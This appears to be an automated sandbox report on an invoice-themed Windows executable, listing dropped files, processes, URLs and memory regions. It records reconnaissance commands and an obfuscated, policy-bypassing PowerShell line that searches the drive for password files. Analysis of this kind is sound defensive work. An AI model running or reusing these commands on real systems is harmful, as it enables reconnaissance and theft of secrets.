Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
UCD_Invoice.exe
|
PE32 executable (console) Intel 80386, for MS Windows
|
initial sample
|
 |
|
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fdinczqy.e1y.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oitnmm4g.wju.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\ucd_info.svg
|
ASCII text, with CRLF line terminators
|
dropped
|
||
|
\Device\ConDrv
|
ASCII text, with CRLF line terminators
|
dropped
|
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Users\user\Desktop\UCD_Invoice.exe
|
"C:\Users\user\Desktop\UCD_Invoice.exe"
|
|
|
|
C:\Windows\SysWOW64\whoami.exe
|
whoami
|
|
|
|
C:\Windows\SysWOW64\systeminfo.exe
|
systeminfo
|
|
|
|
C:\Windows\SysWOW64\ipconfig.exe
|
ipconfig /all
|
|
|
|
C:\Windows\SysWOW64\cmd.exe
|
C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))"
|
|
|
|
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))"
|
|
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
|
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
http://pesterbdd.com/images/Pester.png
|
unknown
|
|
|
|
http://nuget.org/NuGet.exe
|
unknown
|
||
|
https://aka.ms/pscore6lB
|
unknown
|
||
|
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
|
http://example.com/
|
93.184.216.34
|
||
|
https://contoso.com/
|
unknown
|
||
|
https://nuget.org/nuget.exe
|
unknown
|
||
|
https://contoso.com/License
|
unknown
|
||
|
https://contoso.com/Icon
|
unknown
|
||
|
http://www.evilcorp.com
|
unknown
|
||
|
https://www.iana.org/domains/example
|
unknown
|
||
|
http://pesterbdd.com/i
|
unknown
|
||
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
|
https://github.com/Pester/Pester
|
unknown
|
There are 4 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
example.com
|
93.184.216.34
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
93.184.216.34
|
example.com
|
European Union
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\24\417C44EB
|
@%SystemRoot%\system32\mlang.dll,-4387
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\24\417C44EB
|
@%SystemRoot%\system32\mlang.dll,-4407
|
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
1010000
|
heap
|
page read and write
|
||
|
7BD0000
|
trusted library allocation
|
page read and write
|
||
|
4B74000
|
trusted library allocation
|
page read and write
|
||
|
331E000
|
stack
|
page read and write
|
||
|
571000
|
heap
|
page read and write
|
||
|
140E000
|
stack
|
page read and write
|
||
|
78B3000
|
heap
|
page read and write
|
||
|
3540000
|
trusted library allocation
|
page read and write
|
||
|
807000
|
unkown
|
page execute read
|
||
|
579000
|
heap
|
page read and write
|
||
|
794D000
|
heap
|
page read and write
|
||
|
3060000
|
heap
|
page read and write
|
||
|
78AB000
|
heap
|
page read and write
|
||
|
DF0000
|
heap
|
page read and write
|
||
|
7430000
|
heap
|
page read and write
|
||
|
585000
|
heap
|
page read and write
|
||
|
7890000
|
heap
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
70E0000
|
heap
|
page execute and read and write
|
||
|
FBD000
|
stack
|
page read and write
|
||
|
4C80000
|
heap
|
page execute and read and write
|
||
|
870E000
|
stack
|
page read and write
|
||
|
86D000
|
unkown
|
page write copy
|
||
|
1022000
|
heap
|
page read and write
|
||
|
4D51000
|
trusted library allocation
|
page read and write
|
||
|
1DE000
|
stack
|
page read and write
|
||
|
5D59000
|
trusted library allocation
|
page read and write
|
||
|
1019000
|
heap
|
page read and write
|
||
|
7B0D000
|
stack
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
1011000
|
heap
|
page read and write
|
||
|
FDE000
|
heap
|
page read and write
|
||
|
587000
|
heap
|
page read and write
|
||
|
F7D000
|
stack
|
page read and write
|
||
|
1023000
|
heap
|
page read and write
|
||
|
1005000
|
heap
|
page read and write
|
||
|
3430000
|
heap
|
page read and write
|
||
|
4EA6000
|
trusted library allocation
|
page read and write
|
||
|
100D000
|
heap
|
page read and write
|
||
|
755E000
|
stack
|
page read and write
|
||
|
4B73000
|
trusted library allocation
|
page execute and read and write
|
||
|
70DE000
|
stack
|
page read and write
|
||
|
550000
|
heap
|
page read and write
|
||
|
57E000
|
heap
|
page read and write
|
||
|
7955000
|
heap
|
page read and write
|
||
|
1025000
|
heap
|
page read and write
|
||
|
312D000
|
heap
|
page read and write
|
||
|
87F0000
|
heap
|
page read and write
|
||
|
571000
|
heap
|
page read and write
|
||
|
1B0E000
|
stack
|
page read and write
|
||
|
31E0000
|
heap
|
page read and write
|
||
|
712E000
|
stack
|
page read and write
|
||
|
75DE000
|
stack
|
page read and write
|
||
|
593000
|
heap
|
page read and write
|
||
|
7CF000
|
stack
|
page read and write
|
||
|
52F000
|
stack
|
page read and write
|
||
|
357E000
|
stack
|
page read and write
|
||
|
101D000
|
heap
|
page read and write
|
||
|
3440000
|
heap
|
page read and write
|
||
|
801000
|
unkown
|
page execute read
|
||
|
806000
|
heap
|
page read and write
|
||
|
4D20000
|
trusted library allocation
|
page read and write
|
||
|
323C000
|
stack
|
page read and write
|
||
|
7968000
|
heap
|
page read and write
|
||
|
176F000
|
stack
|
page read and write
|
||
|
11E0000
|
heap
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
7BB0000
|
trusted library allocation
|
page read and write
|
||
|
57E000
|
heap
|
page read and write
|
||
|
5A1000
|
heap
|
page read and write
|
||
|
4BA2000
|
trusted library allocation
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
3270000
|
heap
|
page read and write
|
||
|
1012000
|
heap
|
page read and write
|
||
|
79B0000
|
trusted library allocation
|
page read and write
|
||
|
100D000
|
heap
|
page read and write
|
||
|
7909000
|
heap
|
page read and write
|
||
|
1008000
|
heap
|
page read and write
|
||
|
56D000
|
heap
|
page read and write
|
||
|
578000
|
heap
|
page read and write
|
||
|
593000
|
heap
|
page read and write
|
||
|
78E000
|
stack
|
page read and write
|
||
|
102C000
|
heap
|
page read and write
|
||
|
773E000
|
stack
|
page read and write
|
||
|
5DBD000
|
trusted library allocation
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
4B89000
|
trusted library allocation
|
page read and write
|
||
|
7A00000
|
trusted library allocation
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
4D40000
|
heap
|
page read and write
|
||
|
C1F000
|
stack
|
page read and write
|
||
|
716E000
|
stack
|
page read and write
|
||
|
3448000
|
heap
|
page read and write
|
||
|
4BA0000
|
trusted library allocation
|
page read and write
|
||
|
8650000
|
trusted library allocation
|
page execute and read and write
|
||
|
1C0F000
|
stack
|
page read and write
|
||
|
4B70000
|
trusted library allocation
|
page read and write
|
||
|
558000
|
heap
|
page read and write
|
||
|
7762000
|
heap
|
page read and write
|
||
|
335E000
|
stack
|
page read and write
|
||
|
56D000
|
heap
|
page read and write
|
||
|
1460000
|
heap
|
page read and write
|
||
|
57E000
|
heap
|
page read and write
|
||
|
5D51000
|
trusted library allocation
|
page read and write
|
||
|
2D9C000
|
stack
|
page read and write
|
||
|
338D000
|
stack
|
page read and write
|
||
|
8720000
|
trusted library allocation
|
page read and write
|
||
|
76FE000
|
stack
|
page read and write
|
||
|
100D000
|
heap
|
page read and write
|
||
|
4B7D000
|
trusted library allocation
|
page execute and read and write
|
||
|
78F7000
|
heap
|
page read and write
|
||
|
57E000
|
heap
|
page read and write
|
||
|
1022000
|
heap
|
page read and write
|
||
|
2FCC000
|
stack
|
page read and write
|
||
|
7ACE000
|
stack
|
page read and write
|
||
|
800000
|
unkown
|
page readonly
|
||
|
801000
|
unkown
|
page execute read
|
||
|
F40000
|
trusted library allocation
|
page read and write
|
||
|
5A1000
|
heap
|
page read and write
|
||
|
4E0000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
71EE000
|
stack
|
page read and write
|
||
|
1010000
|
heap
|
page read and write
|
||
|
1019000
|
heap
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
72BD000
|
stack
|
page read and write
|
||
|
7870000
|
trusted library allocation
|
page read and write
|
||
|
4BA5000
|
trusted library allocation
|
page execute and read and write
|
||
|
72FB000
|
stack
|
page read and write
|
||
|
341E000
|
stack
|
page read and write
|
||
|
597000
|
heap
|
page read and write
|
||
|
7935000
|
heap
|
page read and write
|
||
|
101A000
|
heap
|
page read and write
|
||
|
861000
|
unkown
|
page readonly
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
57E000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
1006000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
722F000
|
stack
|
page read and write
|
||
|
4D0E000
|
stack
|
page read and write
|
||
|
733E000
|
stack
|
page read and write
|
||
|
FFF000
|
heap
|
page read and write
|
||
|
7A4E000
|
stack
|
page read and write
|
||
|
88A0000
|
heap
|
page read and write
|
||
|
31DE000
|
stack
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
540A000
|
trusted library allocation
|
page read and write
|
||
|
4C6A000
|
trusted library allocation
|
page read and write
|
||
|
1000000
|
heap
|
page read and write
|
||
|
94D000
|
stack
|
page read and write
|
||
|
76BE000
|
stack
|
page read and write
|
||
|
33DE000
|
stack
|
page read and write
|
||
|
7914000
|
heap
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
1000000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
70E000
|
stack
|
page read and write
|
||
|
70E5000
|
heap
|
page execute and read and write
|
||
|
3558000
|
heap
|
page read and write
|
||
|
FDA000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
7B70000
|
trusted library allocation
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
8730000
|
trusted library allocation
|
page execute and read and write
|
||
|
2DD7000
|
stack
|
page read and write
|
||
|
800000
|
heap
|
page read and write
|
||
|
587000
|
heap
|
page read and write
|
||
|
EC000
|
stack
|
page read and write
|
||
|
7860000
|
heap
|
page execute and read and write
|
||
|
7B20000
|
trusted library allocation
|
page execute and read and write
|
||
|
3050000
|
heap
|
page read and write
|
||
|
7420000
|
heap
|
page read and write
|
||
|
767E000
|
stack
|
page read and write
|
||
|
3068000
|
heap
|
page read and write
|
||
|
1019000
|
heap
|
page read and write
|
||
|
7A09000
|
trusted library allocation
|
page read and write
|
||
|
3200000
|
heap
|
page read and write
|
||
|
7901000
|
heap
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
319E000
|
stack
|
page read and write
|
||
|
1010000
|
heap
|
page read and write
|
||
|
156D000
|
stack
|
page read and write
|
||
|
4C68000
|
trusted library allocation
|
page read and write
|
||
|
86D000
|
unkown
|
page read and write
|
||
|
4CCC000
|
stack
|
page read and write
|
||
|
59A000
|
heap
|
page read and write
|
||
|
4BC0000
|
trusted library allocation
|
page read and write
|
||
|
4B80000
|
trusted library allocation
|
page read and write
|
||
|
1E0000
|
heap
|
page read and write
|
||
|
100D000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
871000
|
unkown
|
page readonly
|
||
|
5080000
|
heap
|
page read and write
|
||
|
9B0000
|
heap
|
page read and write
|
||
|
599000
|
heap
|
page read and write
|
||
|
3500000
|
heap
|
page read and write
|
||
|
587000
|
heap
|
page read and write
|
||
|
79F5000
|
trusted library allocation
|
page read and write
|
||
|
597000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
759B000
|
stack
|
page read and write
|
||
|
1008000
|
heap
|
page read and write
|
||
|
7B50000
|
trusted library allocation
|
page read and write
|
||
|
5416000
|
trusted library allocation
|
page read and write
|
||
|
30D2000
|
heap
|
page read and write
|
||
|
871000
|
unkown
|
page readonly
|
||
|
7B30000
|
trusted library allocation
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
1010000
|
heap
|
page read and write
|
||
|
1022000
|
heap
|
page read and write
|
||
|
4E5000
|
heap
|
page read and write
|
||
|
7946000
|
heap
|
page read and write
|
||
|
597000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
7A8E000
|
stack
|
page read and write
|
||
|
7B40000
|
trusted library allocation
|
page read and write
|
||
|
7BF0000
|
trusted library allocation
|
page read and write
|
||
|
73BE000
|
stack
|
page read and write
|
||
|
86CD000
|
stack
|
page read and write
|
||
|
7BC0000
|
trusted library allocation
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
579000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
1770000
|
remote allocation
|
page read and write
|
||
|
873000
|
unkown
|
page readonly
|
||
|
100D000
|
heap
|
page read and write
|
||
|
79A6000
|
trusted library allocation
|
page read and write
|
||
|
873000
|
unkown
|
page readonly
|
||
|
101D000
|
heap
|
page read and write
|
||
|
5A1000
|
heap
|
page read and write
|
||
|
CFD000
|
stack
|
page read and write
|
||
|
FD0000
|
heap
|
page read and write
|
||
|
13CD000
|
stack
|
page read and write
|
||
|
73FA000
|
stack
|
page read and write
|
||
|
587000
|
heap
|
page read and write
|
||
|
74F000
|
stack
|
page read and write
|
||
|
59D000
|
heap
|
page read and write
|
||
|
1008000
|
heap
|
page read and write
|
||
|
8770000
|
trusted library allocation
|
page read and write
|
||
|
FF3000
|
heap
|
page read and write
|
||
|
3390000
|
heap
|
page read and write
|
||
|
1770000
|
remote allocation
|
page read and write
|
||
|
308C000
|
heap
|
page read and write
|
||
|
861000
|
unkown
|
page readonly
|
||
|
4DAB000
|
trusted library allocation
|
page read and write
|
||
|
7B90000
|
trusted library allocation
|
page read and write
|
||
|
C20000
|
heap
|
page read and write
|
||
|
793D000
|
heap
|
page read and write
|
||
|
593000
|
heap
|
page read and write
|
||
|
1005000
|
heap
|
page read and write
|
||
|
101D000
|
heap
|
page read and write
|
||
|
1019000
|
heap
|
page read and write
|
||
|
7B80000
|
trusted library allocation
|
page read and write
|
||
|
7990000
|
trusted library allocation
|
page read and write
|
||
|
7B10000
|
trusted library allocation
|
page read and write
|
||
|
3098000
|
heap
|
page read and write
|
||
|
4C0E000
|
stack
|
page read and write
|
||
|
4C50000
|
heap
|
page readonly
|
||
|
78EF000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
12C000
|
stack
|
page read and write
|
||
|
3420000
|
heap
|
page read and write
|
||
|
761E000
|
stack
|
page read and write
|
||
|
800000
|
unkown
|
page readonly
|
||
|
8710000
|
heap
|
page read and write
|
||
|
68E000
|
stack
|
page read and write
|
||
|
144E000
|
stack
|
page read and write
|
||
|
71AE000
|
stack
|
page read and write
|
||
|
4D10000
|
trusted library allocation
|
page execute and read and write
|
||
|
4D47000
|
heap
|
page read and write
|
||
|
7BE0000
|
trusted library allocation
|
page read and write
|
||
|
190000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
9A0000
|
heap
|
page read and write
|
||
|
1770000
|
remote allocation
|
page read and write
|
||
|
7912000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
4D30000
|
heap
|
page read and write
|
||
|
8660000
|
trusted library allocation
|
page read and write
|
||
|
56E000
|
heap
|
page read and write
|
||
|
1010000
|
heap
|
page read and write
|
||
|
BDE000
|
stack
|
page read and write
|
||
|
11D1000
|
heap
|
page read and write
|
||
|
DD0000
|
heap
|
page read and write
|
||
|
1000000
|
heap
|
page read and write
|
||
|
3550000
|
heap
|
page read and write
|
||
|
4C4E000
|
stack
|
page read and write
|
||
|
590000
|
heap
|
page read and write
|
||
|
6CE000
|
stack
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
166F000
|
stack
|
page read and write
|
||
|
587000
|
heap
|
page read and write
|
||
|
592000
|
heap
|
page read and write
|
||
|
102D000
|
heap
|
page read and write
|
||
|
7C40000
|
heap
|
page read and write
|
||
|
FF0000
|
heap
|
page read and write
|
||
|
5D79000
|
trusted library allocation
|
page read and write
|
||
|
7B60000
|
trusted library allocation
|
page read and write
|
||
|
7BA0000
|
trusted library allocation
|
page read and write
|
||
|
3206000
|
heap
|
page read and write
|
||
|
DF4000
|
heap
|
page read and write
|
||
|
587000
|
heap
|
page read and write
|
||
|
807000
|
unkown
|
page execute read
|
||
|
737E000
|
stack
|
page read and write
|
||
|
79A0000
|
trusted library allocation
|
page read and write
|
||
|
3102000
|
heap
|
page read and write
|
||
|
11D0000
|
heap
|
page read and write
|
||
|
C40000
|
heap
|
page read and write
|
There are 305 hidden memdumps, click here to show them.